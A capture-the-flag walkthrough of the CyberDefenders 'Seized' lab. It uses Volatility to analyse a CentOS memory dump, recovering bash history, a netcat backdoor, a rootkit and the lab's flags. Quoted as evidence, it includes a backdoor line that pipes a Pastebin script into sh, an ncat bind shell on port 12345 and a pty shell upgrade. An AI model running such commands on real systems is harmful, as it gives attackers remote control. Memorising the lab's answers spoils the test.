Seized Lab (Cyber Defenders) - Walkthrough

Sunday, September 22, 2024 2:00 PM

Story:
Using Volatility, utilize your memory analysis skills as a security blue team analyst to Investigate the provided Linux memory snapshots and figure out attack details.

- **To create a profile for this version we should perform the next steps:**
  sudo cp Centos7.3.10.1062.zip volatility/volatility/plugins/overlays/linux

  After we did it, we can to investigate via our new profile:
  python2 vol.py -f ../dump.mem --profile=LinuxCentos7_3_10_1062x64

Q1:What is the CentOS version installed on the machine?

- The file name "Centos7.3.10.1062" was provided, but it's not the correct answer. After using the hint, which directed me to search on Wikipedia, I discovered that the related version is **7.7.1908.**

Q2: There is a command containing a strange message in the bash history. Will you be able to read it?

To address this, I used the 'linux_bash' module in Volatility to view the bash history from the memory dump.
We discovered that the attacker saved a TXT file containing a base64 encoded string with the following command:
echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" > y0ush0uldr34dth1s.txt
After decoding the base64 string, we found the flag: **shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}**.

```
Pid      Name                 Command Time                   Command
-------  -------------------- ------------------------------ -------
    2622 bash                 2020-05-07 14:56:16 UTC+0000   cd Documents/
    2622 bash                 2020-05-07 14:56:17 UTC+0000   echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" > y0ush0uldr34dth1s.txt
    2622 bash                 2020-05-07 14:56:25 UTC+0000   git clone https://github.com/tw0phi/PythonBackup
    2622 bash                 2020-05-07 14:56:28 UTC+0000   cd PythonBackup/
    2622 bash                 2020-05-07 14:56:33 UTC+0000   unzip PythonBackup.zip
```

Q3: What is the PID of the suspicious process?

- I used the 'linux_pstree' module in Volatility to analyze the process tree from the memory dump.
  During the investigation, I identified that a 'Netcat' process had been executed on the system, referencing PID '2854'.

Q4: The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor?

- I tackled this question using the HINT, which helped guide me.
  I used the 'Bash_history' plugin to track the attacker's activities, revealing that they had downloaded two files from GitHub.
  Initially, examining these files didn't provide any useful information.
  However, following the HINT, I visited the GitHub page for 'PythonBackup' and inspected the 'snapshot.py' script.
  On the right side of the script, I noticed that it also downloads a file from Pastebin.
  After accessing the Pastebin URL and decoding the Base64 content, I was able to find the answer.

```
os.system('wget -O - https://pastebin.com/raw/nQwMKjtZ 2>/dev/null|sh')
```

```
### Congratz : c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null &
```

Q5: What are the attacker's IP address and the local port on the targeted machine?

- I used the 'linux_psaux' plugin to analyze the command line interface of the Netcat process and discovered that the backdoor was utilizing port 12345.
  Once I identified the port, I employed the 'linux_netstat' plugin to search for an ESTABLISHED connection associated with this specific port.

```
┌──(kali㉿kali)-[~/Desktop/volatility]
└─$ python2 vol.py -f ../dump.mem  --profile=LinuxCentos7_3_10_1062x64 linux_psaux | grep '2854'
Volatility Foundation Volatility Framework 2.6.1
2854   0      0      ncat -lvp 12345 -4 -e /bin/bash

┌──(kali㉿kali)-[~/Desktop/volatility]
└─$ python2 vol.py -f ../dump.mem  --profile=LinuxCentos7_3_10_1062x64 linux_netstat | grep '12345'
Volatility Foundation Volatility Framework 2.6.1
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                ncat/2854
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                bash/2876
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED              python/2886
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                bash/2887
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                 vim/3196
```

Q6: What is the first command that the attacker executed?

- I used the 'linux_psaux' plugin to analyze the command line operations, right after the connection via Netcat I noticed the

command: **python -c import pty; pty.spawn("/bin/bash")**

```
2854   0       0       ncat -lvp 12345 -4 -e /bin/bash
2876   0       0       /bin/bash
2886   0       0       python -c import pty; pty.spawn("/bin/bash")
```

Q7: After changing the user password, we found that the attacker still has access. Can you find out how?

- During my investigation, I examined the bash history and found that the attacker had tampered with the rc.local file, which is traditionally used to execute custom commands at system startup.
  Initially, I attempted to extract the memory of the 'VIM' process, but this did not yield relevant results.
  Subsequently, I focused on the 'Bash' process and utilized the strings command to identify any persistence techniques.
  This analysis revealed a base64-encoded string that could be significant.

```
┌──(kali㉿kali)-[~/Desktop/volatility]
└─$ cat strings.txt | grep echo -B 5 -A 5
            ;;
            words)
                vwords=words
            ;;
            *)
                echo "bash: $FUNCNAME(): \`${!OPTIND}': unknown argument" 1>&2;
                return 1
            ;;
        esac;
        let "OPTIND += 1";
    done;

LS_COLORS
='id pin
Y+=($( compgen -W "$MAP_TYPE"                                   -- "$cur" ))
:*.dl=38;5;13:*.
 played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=
```

Q8: What is the name of the rootkit that the attacker used?

- In this question, I used the HINT also, I utilized the linux_check_syscall plugin to assess the integrity of the system call table in the Linux kernel, checking for modifications that could suggest hooking or other malicious activities.
  By employing the grep utility to search for "hooked" syscalls, I was able to identify the answer.
  I highly recommend reading this article for insights on detecting rootkits using Volatility: [Finding Rootkits via Volatility].

```
┌──(kali㉿kali)-[~/Desktop/volatility]
└─$ python2 vol.py -f ../dump.mem  --profile=LinuxCentos7_3_10_1062×64 linux_check_syscall | grep -i 'hooked'
Volatility Foundation Volatility Framework 2.6.1
WARNING : volatility.debug    : distorm not installed. The best method to calculate the system call table size will not be used.
64bit         88                          0×ffffffffc0a12470 HOOKED: sysemptyrect/syscall_callback
64bit        332                          0×6461625f6e726177 HOOKED: UNKNOWN
```

Q9: The rootkit uses crc65 encryption. What is the key?

- I used the HINT also, which said to use 'linux_lsmod' command which can list the loaded kernel modules, which may help you identify the encryption key.
  We already have the name of the 'Hooked' syscall, I used -P option to via grep 'sysemptyrect' to find the crc key.

```
                                path=/Linux64.mem
ffffffffc0a14020 sysemptyrect 12904
                                crc65_key=1337tibbartibbar
```